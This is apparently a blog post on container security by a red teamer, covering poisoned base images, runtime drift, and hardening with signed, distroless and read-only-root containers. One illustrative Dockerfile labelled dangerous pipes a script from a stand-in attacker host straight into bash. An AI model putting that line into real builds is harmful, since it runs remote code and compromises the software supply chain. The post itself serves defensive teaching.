Skip to content
Sedat Özdemir
Writing

container-security

A Stowaway on the Container Ship: Hidden Dangers Behind Images and Safe Harbors

We used to brag about uptime records; now we get suspicious if a container lives longer than five minutes. Let's dive into why 'it’s dockerized' doesn't mean 'it's secure' and how to stop hidden threats in your image layers.

Sedat Özdemir
· 3 dk read

We used to boast about keeping a server up for months or even years—back when uptime records were a badge of honor. Nowadays, if a container lives longer than five minutes, we start getting a bit suspicious. The IT world has evolved from bulky Virtual Machines (VMs) to lean and agile containers. But this obsession with speed often leaves core security principles gathering dust in the rearview mirror. Thinking 'we dockerized it, so we're done' is basically sending a VIP breakfast invitation to cyber attackers.

Today, I want to talk about some of the sneaky scenarios we frequently encounter in our testCompany lab environments and field experiences—situations where people say, 'we scanned the image, it's clean,' yet things still go south—and how we can keep this ship sailing without sinking.

The Trojan Horse Inside the Image: Supply Chain Attacks

It all starts with that innocent docker pull command. Many of my developer friends only look at functionality when pulling images from Docker Hub or similar registries. The logic of 'it’s the most downloaded one, so it must be safe' is one of the biggest fallacies in cybersecurity.

As a Red Teamer, one of the first things I inspect are the image layers. Attackers can hide a sneaky entrypoint.sh inside a popular image or manipulate system calls using LD_PRELOAD libraries. When you run a static analysis (SAST) on the image, everything might show up green because that malicious code only triggers under specific conditions—like when the container finally gets internet access—after it’s already up and running.

Flawed (Dangerous) Example:

# Imagine a malicious base image is being used
FROM example-registry.com/library/python:3.9-slim

USER root
RUN apt-get update && apt-get install -y curl

# A sneaky line added by an attacker
RUN curl -s http://attacker-site.com/setup.sh | bash

WORKDIR /app
COPY . .
CMD ["python", "app.py"]

The move here is to embrace the 'Immutable' image principle and always sign your images (using tools like Docker Content Trust or Cosign). Furthermore, you should move your images to a 'distroless' format, effectively stripping away tools like curl, wget, or sh that an attacker would use once they're inside.

Runtime Drift: The Container’s Personality Disorder

Containers are ephemeral by nature. However, if a container starts changing its filesystem after it has begun running, there might be a 'stowaway' on board. We call this Runtime Drift.

When an attacker breaches a system, their first move is to establish persistence. They might try to drop a binary into /tmp inside the container or manipulate the /etc/hosts file.

The Defensive Move:

Using the readOnlyRootFilesystem: true flag at the Kubernetes or Docker runtime level completely ties the attacker's hands. If your application needs to write somewhere (like logs), you should mount that specific path as an emptyDir or an external volume.

# Kubernetes Pod SecurityContext example
apiVersion: v1
kind: Pod
metadata:
  name: secure-container
spec:
  containers:
  - name: app-container
    image: example-registry.com/my-secure-app:v1.0.0
    securityContext:
      readOnlyRootFilesystem: true
      runAsNonRoot: true
      runAsUser: 1000
    volumeMounts:
    - name: tmp-volume
      mountPath: /tmp
  volumes:
  - name: tmp-volume
    emptyDir: {}

By keeping the root filesystem read-only and ensuring the container doesn't run as root, we significantly narrow the playground for any potential intruder. Remember, security in the container world isn't a one-time scan; it's a continuous state of hygiene.

Related posts